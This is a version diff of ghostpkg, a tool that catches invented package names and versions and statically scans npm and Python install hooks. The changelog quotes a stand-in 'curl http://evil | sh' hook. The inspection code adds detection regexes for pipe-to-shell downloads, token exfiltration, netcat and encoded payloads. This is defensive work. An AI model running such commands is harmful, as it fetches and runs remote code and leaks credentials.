ghostpkg 0.7.0__tar.gz → 0.8.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (34) hide show
  1. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/CHANGELOG.md +41 -1
  2. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/PKG-INFO +10 -3
  3. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/README.en.md +9 -2
  4. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/README.md +3 -2
  5. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/ghostpkg/__init__.py +1 -1
  6. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/ghostpkg/assess.py +50 -1
  7. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/ghostpkg/cache.py +17 -5
  8. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/ghostpkg/cli.py +41 -17
  9. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/ghostpkg/inspection.py +135 -22
  10. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/ghostpkg/manifests.py +103 -42
  11. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/ghostpkg/registries.py +12 -0
  12. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/pyproject.toml +1 -1
  13. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/tests/test_cache.py +20 -9
  14. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/tests/test_manifests.py +42 -36
  15. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/tests/test_regressions.py +19 -13
  16. ghostpkg-0.8.0/tests/test_versions.py +205 -0
  17. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/.github/ISSUE_TEMPLATE/bug.yml +0 -0
  18. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/.github/ISSUE_TEMPLATE/config.yml +0 -0
  19. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/.github/ISSUE_TEMPLATE/false-positive.yml +0 -0
  20. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/.github/ISSUE_TEMPLATE/missed-package.yml +0 -0
  21. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/.github/workflows/ci.yml +0 -0
  22. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/.gitignore +0 -0
  23. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/2.0 +0 -0
  24. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/CONTRIBUTING.md +0 -0
  25. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/LICENSE +0 -0
  26. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/SECURITY.md +0 -0
  27. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/assets/banner.html +0 -0
  28. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/assets/banner.png +0 -0
  29. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/assets/demo.gif +0 -0
  30. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/assets/make_demo.py +0 -0
  31. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/ghostpkg/__main__.py +0 -0
  32. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/ghostpkg/data.py +0 -0
  33. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/tests/test_assess.py +0 -0
  34. {ghostpkg-0.7.0 → ghostpkg-0.8.0}/tests/test_inspection.py +0 -0
@@ -6,6 +6,45 @@ this project uses [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
6
6
 
7
7
  ## [Unreleased]
8
8
 
9
+ ## [0.8.0] - 2026-09-01
10
+
11
+ ### Added
12
+ - **Pinned versions are checked.** `requests==99.99.99` used to come back "ok"
13
+ because only the name was looked up. A version a model invented is the same
14
+ class of mistake as a name it invented, and just as precise to check: the
15
+ registry response already lists every real version, so this costs nothing
16
+ extra. Only exact pins are checked -- `==1.2.3` on PyPI, a bare `1.2.3` on
17
+ npm. Ranges like `>=2.31` or `^4.18.0` may be satisfied by some other
18
+ version, so there is nothing definite to say about them.
19
+ - `ghostpkg check requests==2.31.0` accepts a pin on the command line too.
20
+
21
+ ### Fixed
22
+ - **`--deep` missed essentially every realistic malicious npm hook.** The
23
+ patterns were written for Python and JavaScript *source*, but npm install
24
+ hooks are *shell commands*. `curl http://evil | sh` carries no `curl -` flag
25
+ to match, `node -e` is not `eval(`, and `powershell -c IWR` looks nothing
26
+ like `urllib.request`. All six shapes now match, and nine ordinary hooks
27
+ (`tsc`, `node-gyp rebuild`, `husky install`, …) stay clean.
28
+ - **`"postinstall": "node install.js"` is now followed.** It is the commonest
29
+ shape of all, and the code that matters is in the file it names, which was
30
+ never read.
31
+ - **`--deep` no longer passes a package it could not inspect.** A package with
32
+ no source archive, or one larger than the size limit, was silently treated
33
+ like a clean result -- so padding an archive was a way to switch `--deep` off
34
+ from the outside. It now says so and warns.
35
+ - **A negative result is never cached.** Caching it for an hour seemed safe
36
+ until a real case appeared: PyPI's RSS announces a package a moment before
37
+ its JSON API serves it, so a lookup 404s, and a legitimately published
38
+ package was then reported as non-existent for the rest of the hour. A stale
39
+ block is the worst failure this tool has. Positive results are still cached.
40
+ - **The reported nearest name is deterministic.** Iterating a frozenset has no
41
+ defined order, so `cjson` came back as `ujson` or `ijson` depending on
42
+ `PYTHONHASHSEED`.
43
+
44
+ ### Changed
45
+ - The parser now carries each dependency's version specifier and line number
46
+ rather than the bare name.
47
+
9
48
  ## [0.7.0] - 2026-09-01
10
49
 
11
50
  A correctness release. Several of these were **silent** failures -- the tool
@@ -244,7 +283,8 @@ First release.
244
283
  - No corpus of hallucinated package names is shipped, following the decision of
245
284
  the USENIX'25 authors not to publish theirs.
246
285
 
247
- [Unreleased]: https://github.com/M1rwana12/ghostpkg/compare/v0.7.0...HEAD
286
+ [Unreleased]: https://github.com/M1rwana12/ghostpkg/compare/v0.8.0...HEAD
287
+ [0.8.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.8.0
248
288
  [0.7.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.7.0
249
289
  [0.6.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.6.0
250
290
  [0.5.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.5.0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.5
2
2
  Name: ghostpkg
3
- Version: 0.7.0
3
+ Version: 0.8.0
4
4
  Summary: Catch package names that do not exist before you install them
5
5
  Project-URL: Homepage, https://github.com/m1rwana12/ghostpkg
6
6
  Project-URL: Issues, https://github.com/m1rwana12/ghostpkg/issues
@@ -151,6 +151,7 @@ Requires Python 3.9+. Tested on Linux, macOS and Windows.
151
151
 
152
152
  ```bash
153
153
  ghostpkg check fastapi-middleware pandas-utils
154
+ ghostpkg check requests==99.99.99 # pins are checked too
154
155
  ghostpkg check react-router-dom-utils -e npm
155
156
  ```
156
157
 
@@ -234,6 +235,7 @@ $ ghostpkg check somepkgthatisnotreal9911 --json
234
235
  | Signal | Verdict | Why |
235
236
  |---|---|---|
236
237
  | Not in the registry | 🔴 **Blocked** | The name is a ghost. There is nothing to install, and this is exactly what a hallucination looks like. |
238
+ | A pinned version that does not exist | 🔴 **Blocked** | `requests==99.99.99`. A model invents versions as readily as names, and the registry lists every real one, so this is a lookup rather than a heuristic. Only exact pins are checked — a range like `>=2.31` or `^4.18.0` may be satisfied by some other version. |
237
239
  | First published < 90 days ago | 🟡 Warning | Attackers register fast. So do honest authors — hence a warning, not a block. |
238
240
  | First published < 1 year ago | 🟡 Warning | Weaker version of the same signal. |
239
241
  | Only one release | 🟡 Warning | Squats are usually published once and abandoned. |
@@ -365,13 +367,18 @@ ghostpkg scan requirements.txt --deep
365
367
  ```
366
368
 
367
369
  `--deep` downloads the archive **only for recently published packages**, reads
368
- only `setup.py` from it (or the install hooks out of `package.json`), and
369
- pattern-matches the text. **Nothing is ever executed.** Archive and member sizes
370
+ only `setup.py` from it (or the install hooks out of `package.json`, plus any
371
+ script those hooks name), and pattern-matches the text. npm hooks are matched
372
+ against shell-command patterns rather than source-code ones, because that is
373
+ what they are. If a package cannot be inspected — no source archive, or an
374
+ archive over the size limit — it says so rather than passing quietly. **Nothing is ever executed.** Archive and member sizes
370
375
  are capped, so a decompression bomb cannot exhaust memory.
371
376
 
372
377
  | Signal | What it means |
373
378
  |---|---|
374
379
  | `exfiltration` | Reads environment variables *and* contacts the network |
380
+ | `pipe-to-shell` | Downloads a script and pipes it straight into a shell (npm hooks) |
381
+ | `inline-script` | Runs code passed on the command line, e.g. `node -e` (npm hooks) |
375
382
  | `network` | Makes a network request during install |
376
383
  | `subprocess` | Runs a shell command during install |
377
384
  | `encoded-payload` | Decodes a hidden blob, or carries a large encoded string |
@@ -104,6 +104,7 @@ Requires Python 3.9+. Tested on Linux, macOS and Windows.
104
104
 
105
105
  ```bash
106
106
  ghostpkg check fastapi-middleware pandas-utils
107
+ ghostpkg check requests==99.99.99 # pins are checked too
107
108
  ghostpkg check react-router-dom-utils -e npm
108
109
  ```
109
110
 
@@ -187,6 +188,7 @@ $ ghostpkg check somepkgthatisnotreal9911 --json
187
188
  | Signal | Verdict | Why |
188
189
  |---|---|---|
189
190
  | Not in the registry | 🔴 **Blocked** | The name is a ghost. There is nothing to install, and this is exactly what a hallucination looks like. |
191
+ | A pinned version that does not exist | 🔴 **Blocked** | `requests==99.99.99`. A model invents versions as readily as names, and the registry lists every real one, so this is a lookup rather than a heuristic. Only exact pins are checked — a range like `>=2.31` or `^4.18.0` may be satisfied by some other version. |
190
192
  | First published < 90 days ago | 🟡 Warning | Attackers register fast. So do honest authors — hence a warning, not a block. |
191
193
  | First published < 1 year ago | 🟡 Warning | Weaker version of the same signal. |
192
194
  | Only one release | 🟡 Warning | Squats are usually published once and abandoned. |
@@ -318,13 +320,18 @@ ghostpkg scan requirements.txt --deep
318
320
  ```
319
321
 
320
322
  `--deep` downloads the archive **only for recently published packages**, reads
321
- only `setup.py` from it (or the install hooks out of `package.json`), and
322
- pattern-matches the text. **Nothing is ever executed.** Archive and member sizes
323
+ only `setup.py` from it (or the install hooks out of `package.json`, plus any
324
+ script those hooks name), and pattern-matches the text. npm hooks are matched
325
+ against shell-command patterns rather than source-code ones, because that is
326
+ what they are. If a package cannot be inspected — no source archive, or an
327
+ archive over the size limit — it says so rather than passing quietly. **Nothing is ever executed.** Archive and member sizes
323
328
  are capped, so a decompression bomb cannot exhaust memory.
324
329
 
325
330
  | Signal | What it means |
326
331
  |---|---|
327
332
  | `exfiltration` | Reads environment variables *and* contacts the network |
333
+ | `pipe-to-shell` | Downloads a script and pipes it straight into a shell (npm hooks) |
334
+ | `inline-script` | Runs code passed on the command line, e.g. `node -e` (npm hooks) |
328
335
  | `network` | Makes a network request during install |
329
336
  | `subprocess` | Runs a shell command during install |
330
337
  | `encoded-payload` | Decodes a hidden blob, or carries a large encoded string |
@@ -73,8 +73,8 @@ pipx install ghostpkg # ізольовано, глобальна ко
73
73
  ## Використання
74
74
 
75
75
  ```bash
76
- # перевірити конкретні назви
77
- ghostpkg check fastapi-middleware pandas-utils
76
+ # перевірити конкретні назви (можна із закріпленою версією)
77
+ ghostpkg check fastapi-middleware requests==99.99.99
78
78
 
79
79
  # перевірити назву в npm
80
80
  ghostpkg check react-router-dom-utils -e npm
@@ -115,6 +115,7 @@ ghostpkg clear-cache
115
115
  | Сигнал | Вердикт |
116
116
  |---|---|
117
117
  | Немає в реєстрі | 🔴 **Заблоковано.** Назва — привид, встановлювати нічого. |
118
+ | Закріплена версія не існує (`requests==99.99.99`) | 🔴 **Заблоковано.** Вигадана версія — той самий клас помилки, що й вигадана назва. Діапазони (`>=2.31`, `^4.18`) не перевіряються: їх може задовольнити інша версія. |
118
119
  | Опубліковано днями тому | 🟡 Попередження. Зловмисники реєструють швидко — але й чесні автори теж. |
119
120
  | Лише один реліз | 🟡 Попередження. |
120
121
  | Немає посилання на репозиторій | 🟡 Попередження. |
@@ -1,6 +1,6 @@
1
1
  """ghostpkg -- catch package names that do not exist before you install them."""
2
2
 
3
- __version__ = "0.7.0"
3
+ __version__ = "0.8.0"
4
4
 
5
5
  from .assess import Finding, Verdict, assess
6
6
  from .registries import PackageFacts, RegistryError, fetch
@@ -15,6 +15,7 @@ that installs new packages.
15
15
 
16
16
  from __future__ import annotations
17
17
 
18
+ import re
18
19
  from dataclasses import dataclass, field
19
20
  from enum import Enum
20
21
 
@@ -24,6 +25,25 @@ from .registries import PackageFacts
24
25
  YOUNG_DAYS = 90
25
26
  NEW_DAYS = 365
26
27
 
28
+ # An exact pin, and only an exact pin. `>=`, `^`, `~` and wildcards describe a
29
+ # range that the registry may satisfy with some other version, so there is
30
+ # nothing definite to check. `==1.2.3` either exists or it does not.
31
+ PYPI_PIN = re.compile(r"^\s*==\s*([A-Za-z0-9][A-Za-z0-9.\-+!]*)\s*$")
32
+ NPM_PIN = re.compile(r"^\s*v?(\d+\.\d+\.\d+(?:[-+][A-Za-z0-9.\-]+)?)\s*$")
33
+
34
+
35
+ def exact_pin(specifier: str | None, ecosystem: str) -> str | None:
36
+ """The single version a specifier demands, if it demands exactly one."""
37
+ if not specifier:
38
+ return None
39
+ pattern = NPM_PIN if ecosystem == "npm" else PYPI_PIN
40
+ match = pattern.match(specifier)
41
+ if not match:
42
+ return None
43
+ version = match.group(1)
44
+ # `==1.2.*` is a range wearing a pin's clothes.
45
+ return None if "*" in version else version
46
+
27
47
 
28
48
  class Verdict(str, Enum):
29
49
  OK = "OK"
@@ -88,6 +108,15 @@ def edit_distance(left: str, right: str, cutoff: int = 3) -> int:
88
108
 
89
109
  POPULAR: dict[str, frozenset[str]] = {"pypi": TOP_PYPI, "npm": TOP_NPM}
90
110
 
111
+ # Iterating a frozenset has no defined order, so with several candidates at the
112
+ # same distance the reported neighbour changed between runs -- `cjson` came back
113
+ # as `ujson` or `ijson` depending on PYTHONHASHSEED. The verdict was stable and
114
+ # only the explanation moved, but unreproducible output is a poor look on a
115
+ # security tool. Membership tests still use the sets above.
116
+ POPULAR_ORDERED: dict[str, tuple[str, ...]] = {
117
+ ecosystem: tuple(sorted(names)) for ecosystem, names in POPULAR.items()
118
+ }
119
+
91
120
  MIN_COMPARABLE_LENGTH = 5
92
121
 
93
122
 
@@ -131,7 +160,7 @@ def nearest_popular(name: str, ecosystem: str = "pypi") -> tuple[str, int] | Non
131
160
 
132
161
  budget = _typo_budget(target)
133
162
  best: tuple[str, int] | None = None
134
- for candidate in popular:
163
+ for candidate in POPULAR_ORDERED[ecosystem]:
135
164
  if abs(len(candidate) - len(target)) > budget:
136
165
  continue
137
166
  distance = edit_distance(target, candidate, cutoff=budget)
@@ -146,6 +175,7 @@ def assess(
146
175
  facts: PackageFacts,
147
176
  strict: bool = False,
148
177
  signals: "list | None" = None,
178
+ specifier: str | None = None,
149
179
  ) -> Finding:
150
180
  """Turn registry facts, and optionally --deep install-script signals, into
151
181
  a verdict.
@@ -171,6 +201,25 @@ def assess(
171
201
  facts=facts,
172
202
  )
173
203
 
204
+ # A pinned version that does not exist is the same class of mistake as a
205
+ # name that does not exist, and just as precise: the registry lists every
206
+ # real version, so this is a lookup, not a heuristic. It blocks for the
207
+ # same reason non-existence does.
208
+ pin = exact_pin(specifier, facts.ecosystem)
209
+ if pin is not None and facts.has_version(pin) is False:
210
+ return Finding(
211
+ name=facts.name,
212
+ ecosystem=facts.ecosystem,
213
+ verdict=Verdict.BLOCK,
214
+ reasons=[
215
+ f"version {pin} does not exist "
216
+ f"(latest is {facts.latest_version})"
217
+ if facts.latest_version
218
+ else f"version {pin} does not exist"
219
+ ],
220
+ facts=facts,
221
+ )
222
+
174
223
  reasons: list[str] = []
175
224
 
176
225
  if facts.age_days is not None:
@@ -4,10 +4,19 @@ Scanning a manifest costs one request per dependency, every time. A 200-line
4
4
  requirements.txt in CI is 200 requests on every run, which is slow for the user
5
5
  and rude to the registry.
6
6
 
7
- Time-to-live depends on what was cached, and the important case is the negative
8
- one. A name that does not exist today can be registered tomorrow -- that is the
9
- entire attack this tool exists to catch -- so "does not exist" is held only
10
- briefly. Established packages change slowly and are held far longer.
7
+ **"Does not exist" is never cached.** That answer is the only one that blocks,
8
+ so it must always be fresh. Caching it briefly seemed safe until a real case
9
+ turned up: PyPI's RSS feed announces a package a moment before its JSON API
10
+ serves it, so a lookup lands on a 404, and a legitimately published package
11
+ was then reported as non-existent for the rest of the hour. A stale block is
12
+ the worst failure this tool has, and a missing name is rare enough in a real
13
+ manifest that re-checking costs almost nothing.
14
+
15
+ The reverse direction argues the same way: a name that is free right now can be
16
+ registered at any moment, and that is the entire attack. Either way, the
17
+ blocking signal is the one that must not come from a cache.
18
+
19
+ Positive answers are cached, since an established package changes slowly.
11
20
 
12
21
  Cache failures are never fatal. An unwritable or corrupt cache degrades to no
13
22
  cache at all rather than breaking a build.
@@ -29,7 +38,7 @@ from .registries import PackageFacts
29
38
 
30
39
  SCHEMA = 1
31
40
 
32
- TTL_MISSING = 60 * 60 # 1 hour -- a free name can be taken any time
41
+ TTL_MISSING = 0 # never cached -- see the module docstring
33
42
  TTL_YOUNG = 6 * 60 * 60 # 6 hours -- facts still moving
34
43
  TTL_ESTABLISHED = 24 * 60 * 60 # 1 day -- changes slowly
35
44
 
@@ -149,6 +158,9 @@ class Cache:
149
158
  def put(self, facts: PackageFacts) -> None:
150
159
  if not self.enabled:
151
160
  return
161
+ # Never store a negative: it is the answer that blocks.
162
+ if not facts.exists:
163
+ return
152
164
  entry = {
153
165
  "at": time.time(),
154
166
  "ttl": ttl_for(facts),
@@ -13,7 +13,7 @@ from . import __version__
13
13
  from .assess import NEW_DAYS, Finding, Verdict, assess
14
14
  from .cache import Cache
15
15
  from .inspection import InspectionError, inspect_package
16
- from .manifests import UnsupportedManifest, load_manifest
16
+ from .manifests import Requirement, UnsupportedManifest, load_manifest, parse_requirements
17
17
  from .registries import RegistryError, fetch
18
18
 
19
19
  EXIT_OK = 0
@@ -97,13 +97,18 @@ def summarise(findings: list[Finding], palette: Palette) -> None:
97
97
 
98
98
 
99
99
  def evaluate(
100
- names: list[str],
100
+ requirements: "list[Requirement] | list[str]",
101
101
  ecosystem: str,
102
102
  strict: bool,
103
103
  cache: Cache | None = None,
104
104
  deep: bool = False,
105
105
  ) -> list[Finding]:
106
- def one(name: str) -> Finding:
106
+ items = [
107
+ r if isinstance(r, Requirement) else Requirement(name=r) for r in requirements
108
+ ]
109
+
110
+ def one(requirement: Requirement) -> Finding:
111
+ name = requirement.name
107
112
  # A failure on one name must not discard the whole scan. It used to:
108
113
  # pool.map re-raised the first exception while iterating, throwing away
109
114
  # every confirmed BLOCK alongside it and skipping the cache write, so
@@ -124,32 +129,47 @@ def evaluate(
124
129
  )
125
130
 
126
131
  signals = None
132
+ not_inspected = None
127
133
  # Only young packages are worth the download: a registered slopsquat is
128
134
  # new by definition, and inspecting everything would make a scan slow
129
135
  # for no gain. A compromised established package is a different threat
130
136
  # and is out of scope -- SECURITY.md says so.
131
- if (
137
+ wanted = (
132
138
  deep
133
139
  and facts.exists
134
- and facts.archive_url
135
140
  and facts.age_days is not None
136
141
  and facts.age_days < NEW_DAYS
137
- ):
142
+ )
143
+ if wanted and not facts.archive_url:
144
+ not_inspected = "no source archive published"
145
+ elif wanted:
138
146
  try:
139
147
  signals = inspect_package(facts.archive_url, ecosystem)
140
- except InspectionError:
141
- signals = None
142
-
143
- return assess(facts, strict=strict, signals=signals)
148
+ except InspectionError as exc:
149
+ not_inspected = str(exc)
144
150
 
145
- # Look each distinct name up once. A manifest can repeat a name, and
146
- # following -r includes makes that more likely.
147
- unique = list(dict.fromkeys(names))
151
+ finding = assess(
152
+ facts, strict=strict, signals=signals, specifier=requirement.specifier
153
+ )
154
+ # Saying nothing would let "could not inspect" read as "inspected and
155
+ # clean" -- and padding an archive past the size limit would then be a
156
+ # way to switch --deep off from the outside.
157
+ if not_inspected and not finding.is_blocked:
158
+ finding.reasons.append(f"install scripts not inspected: {not_inspected}")
159
+ if finding.verdict is Verdict.OK:
160
+ finding.verdict = Verdict.WARN
161
+ return finding
162
+
163
+ # Look each distinct (name, pin) pair up once. A manifest can repeat a
164
+ # name, and following -r includes makes that more likely.
165
+ unique: dict[tuple[str, str | None], Requirement] = {}
166
+ for item in items:
167
+ unique.setdefault((item.name, item.specifier), item)
148
168
  with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
149
- results = dict(zip(unique, pool.map(one, unique)))
169
+ results = dict(zip(unique, pool.map(one, unique.values())))
150
170
  if cache:
151
171
  cache.save()
152
- return [results[name] for name in names]
172
+ return [results[(item.name, item.specifier)] for item in items]
153
173
 
154
174
 
155
175
  def build_parser() -> argparse.ArgumentParser:
@@ -163,7 +183,9 @@ def build_parser() -> argparse.ArgumentParser:
163
183
  sub = parser.add_subparsers(dest="command", required=True)
164
184
 
165
185
  check = sub.add_parser("check", help="check one or more package names")
166
- check.add_argument("names", nargs="+")
186
+ check.add_argument(
187
+ "names", nargs="+", help="names, optionally pinned: requests==2.31.0"
188
+ )
167
189
  check.add_argument("-e", "--ecosystem", choices=("pypi", "npm"), default="pypi")
168
190
 
169
191
  scan = sub.add_parser("scan", help="check every dependency in a manifest")
@@ -225,7 +247,9 @@ def main(argv: list[str] | None = None) -> int:
225
247
  print(f"ghostpkg: no dependencies found in {args.path}", file=sys.stderr)
226
248
  return EXIT_OK
227
249
  else:
228
- names, ecosystem = args.names, args.ecosystem
250
+ # Accept a pin on the command line too: `ghostpkg check requests==2.31.0`.
251
+ names = parse_requirements("\n".join(args.names))
252
+ ecosystem = args.ecosystem
229
253
 
230
254
  cache = Cache(enabled=not args.no_cache)
231
255
  findings = evaluate(names, ecosystem, args.strict, cache, args.deep)
@@ -99,6 +99,75 @@ PATTERNS: tuple[tuple[str, str, re.Pattern[str]], ...] = (
99
99
  ),
100
100
  )
101
101
 
102
+ # npm install hooks are *shell commands*, not source code. The patterns above
103
+ # were written for Python and JavaScript idioms and missed every shape that
104
+ # actually appears: `curl http://evil | sh` carries no `curl -` flag, `node -e`
105
+ # is not `eval(`, and `powershell -c IWR` looks nothing like `urllib.request`.
106
+ SHELL_PATTERNS: tuple[tuple[str, str, re.Pattern[str]], ...] = (
107
+ (
108
+ "pipe-to-shell",
109
+ "downloads a script and pipes it straight into a shell",
110
+ re.compile(
111
+ r"(curl|wget|fetch|iwr|invoke-webrequest)\b[^|;&\n]*\|\s*"
112
+ r"(sh|bash|zsh|dash|node|python[0-9.]*|perl|ruby)\b",
113
+ re.IGNORECASE,
114
+ ),
115
+ ),
116
+ (
117
+ "exfiltration",
118
+ "sends an environment variable somewhere",
119
+ re.compile(
120
+ r"(\$\{?[A-Z_]*(TOKEN|SECRET|PASSWORD|_KEY)|process\.env\.[A-Za-z_]*"
121
+ r"(TOKEN|SECRET|PASSWORD|KEY))[\s\S]{0,200}?"
122
+ r"(curl|wget|https?://|fetch\(|axios|iwr\b)",
123
+ re.IGNORECASE,
124
+ ),
125
+ ),
126
+ (
127
+ "network",
128
+ "makes a network request at install time",
129
+ re.compile(
130
+ r"(\bcurl\b|\bwget\b|\biwr\b|invoke-webrequest|\bnc\b\s+-|https?://)",
131
+ re.IGNORECASE,
132
+ ),
133
+ ),
134
+ (
135
+ "inline-script",
136
+ "runs code passed on the command line",
137
+ re.compile(
138
+ r"\b(node|python[0-9.]*|ruby|perl|php)\b\s+(-e|-c|--eval)\b"
139
+ r"|\bpowershell\b[^\n]{0,80}\s-(c|command|enc|encodedcommand)\b",
140
+ re.IGNORECASE,
141
+ ),
142
+ ),
143
+ (
144
+ "encoded-payload",
145
+ "decodes an encoded blob at install time",
146
+ re.compile(
147
+ r"(base64\s+-d|base64\s+--decode|atob\(|Buffer\.from\([^)]*base64|"
148
+ r"frombase64string|-enc(odedcommand)?\b)",
149
+ re.IGNORECASE,
150
+ ),
151
+ ),
152
+ (
153
+ "environment",
154
+ "reads a credential from the environment at install time",
155
+ # Far more pointed in a shell hook than in build code: an install
156
+ # script has no ordinary reason to read a token.
157
+ re.compile(
158
+ r"(process\.env\.[A-Za-z_]*(TOKEN|SECRET|PASSWORD|KEY)"
159
+ r"|\$\{?[A-Z_]*(TOKEN|SECRET|PASSWORD|_KEY)\b)",
160
+ ),
161
+ ),
162
+ )
163
+
164
+ # `"postinstall": "node install.js"` is the commonest shape of all, and the
165
+ # interesting code lives in the file it names rather than in the hook itself.
166
+ REFERENCED_SCRIPT = re.compile(
167
+ r"\b(?:node|python[0-9.]*|sh|bash|ruby|perl)\s+"
168
+ r"(?:\./)?([A-Za-z0-9_./-]+\.(?:js|cjs|mjs|py|sh|rb|pl))\b"
169
+ )
170
+
102
171
  # A long unbroken base64-looking run is worth flagging on its own.
103
172
  BLOB = re.compile(r"['\"][A-Za-z0-9+/]{220,}={0,2}['\"]")
104
173
 
@@ -107,11 +176,15 @@ class InspectionError(RuntimeError):
107
176
  """The archive could not be retrieved or read."""
108
177
 
109
178
 
110
- def scan_text(text: str, where: str) -> list[Signal]:
111
- """Pattern-match one install script. Never executes anything."""
179
+ def scan_text(text: str, where: str, shell: bool = False) -> list[Signal]:
180
+ """Pattern-match one install script. Never executes anything.
181
+
182
+ `shell=True` selects the command-line patterns used for npm hooks; the
183
+ default set describes Python and JavaScript source.
184
+ """
112
185
  found: list[Signal] = []
113
186
  seen: set[str] = set()
114
- for kind, detail, pattern in PATTERNS:
187
+ for kind, detail, pattern in (SHELL_PATTERNS if shell else PATTERNS):
115
188
  if kind in seen:
116
189
  continue
117
190
  if pattern.search(text):
@@ -181,47 +254,87 @@ def _npm_hook_source(text: str) -> str:
181
254
  )
182
255
 
183
256
 
184
- def inspect_archive(data: bytes, ecosystem: str) -> list[Signal]:
185
- """Walk an archive in memory and scan its install-time files."""
186
- signals: list[Signal] = []
187
- buffer = io.BytesIO(data)
257
+ def _members(data: bytes) -> "dict[str, str]":
258
+ """Read the archive into a dict of path -> text, in memory only.
188
259
 
260
+ Nothing is extracted to disk, so a path-traversal entry has nowhere to
261
+ write. Member count and member size are capped so a decompression bomb
262
+ cannot exhaust memory.
263
+ """
264
+ out: dict[str, str] = {}
265
+ buffer = io.BytesIO(data)
189
266
  try:
190
267
  if data[:2] == b"PK":
191
268
  with zipfile.ZipFile(buffer) as archive:
192
269
  for info in archive.infolist()[:MAX_MEMBERS]:
193
- if info.is_dir() or not _interesting(info.filename, ecosystem):
270
+ if info.is_dir():
194
271
  continue
195
272
  text = _read_member(archive, info.filename, info.file_size)
196
- if text is None:
197
- continue
198
- if ecosystem == "npm":
199
- text = _npm_hook_source(text)
200
- if text.strip():
201
- signals += scan_text(text, info.filename.rsplit("/", 1)[-1])
273
+ if text is not None:
274
+ out[info.filename] = text
202
275
  else:
203
276
  with tarfile.open(fileobj=buffer, mode="r:*") as archive:
204
277
  for member in archive.getmembers()[:MAX_MEMBERS]:
205
- if not member.isfile() or not _interesting(member.name, ecosystem):
278
+ if not member.isfile():
206
279
  continue
207
280
  text = _read_member(archive, member, member.size)
208
- if text is None:
209
- continue
210
- if ecosystem == "npm":
211
- text = _npm_hook_source(text)
212
- if text.strip():
213
- signals += scan_text(text, member.name.rsplit("/", 1)[-1])
281
+ if text is not None:
282
+ out[member.name] = text
214
283
  except (tarfile.TarError, zipfile.BadZipFile, EOFError, OSError) as exc:
215
284
  raise InspectionError(f"could not read archive: {exc}") from exc
285
+ return out
286
+
287
+
288
+ def _root_of(path: str) -> str:
289
+ parts = path.strip("/").split("/")
290
+ return parts[0] if parts else ""
291
+
292
+
293
+ def inspect_archive(data: bytes, ecosystem: str) -> list[Signal]:
294
+ """Statically inspect one package's install-time code.
295
+
296
+ Nothing is executed, imported or compiled -- every file is read as text and
297
+ matched against patterns.
298
+ """
299
+ members = _members(data)
300
+ signals: list[Signal] = []
301
+
302
+ for path, text in members.items():
303
+ if not _interesting(path, ecosystem):
304
+ continue
305
+ where = path.rsplit("/", 1)[-1]
306
+
307
+ if ecosystem != "npm":
308
+ if text.strip():
309
+ signals += scan_text(text, where)
310
+ continue
311
+
312
+ hooks = _npm_hook_source(text)
313
+ if not hooks.strip():
314
+ continue
315
+ # Hooks are shell commands, so they need the shell patterns.
316
+ signals += scan_text(hooks, where, shell=True)
317
+
318
+ # `"postinstall": "node install.js"` is the commonest shape, and the
319
+ # code that matters is in the file it names. Read that too, with the
320
+ # source patterns, since it is JavaScript rather than a command line.
321
+ root = _root_of(path)
322
+ for referenced in set(REFERENCED_SCRIPT.findall(hooks)):
323
+ target = f"{root}/{referenced.lstrip('./')}"
324
+ script = members.get(target)
325
+ if script and script.strip():
326
+ signals += scan_text(script, referenced)
216
327
 
217
328
  # keep the first signal of each kind, most alarming first
218
329
  order = {kind: i for i, (kind, _, _) in enumerate(PATTERNS)}
330
+ order.update(
331
+ {kind: i for i, (kind, _, _) in enumerate(SHELL_PATTERNS) if kind not in order}
332
+ )
219
333
  unique: dict[str, Signal] = {}
220
334
  for signal in signals:
221
335
  unique.setdefault(signal.kind, signal)
222
336
  return sorted(unique.values(), key=lambda s: order.get(s.kind, 99))
223
337
 
224
-
225
338
  def inspect_package(archive_url: str, ecosystem: str) -> list[Signal]:
226
339
  """Download and statically inspect one package's install-time code."""
227
340
  return inspect_archive(_download(archive_url), ecosystem)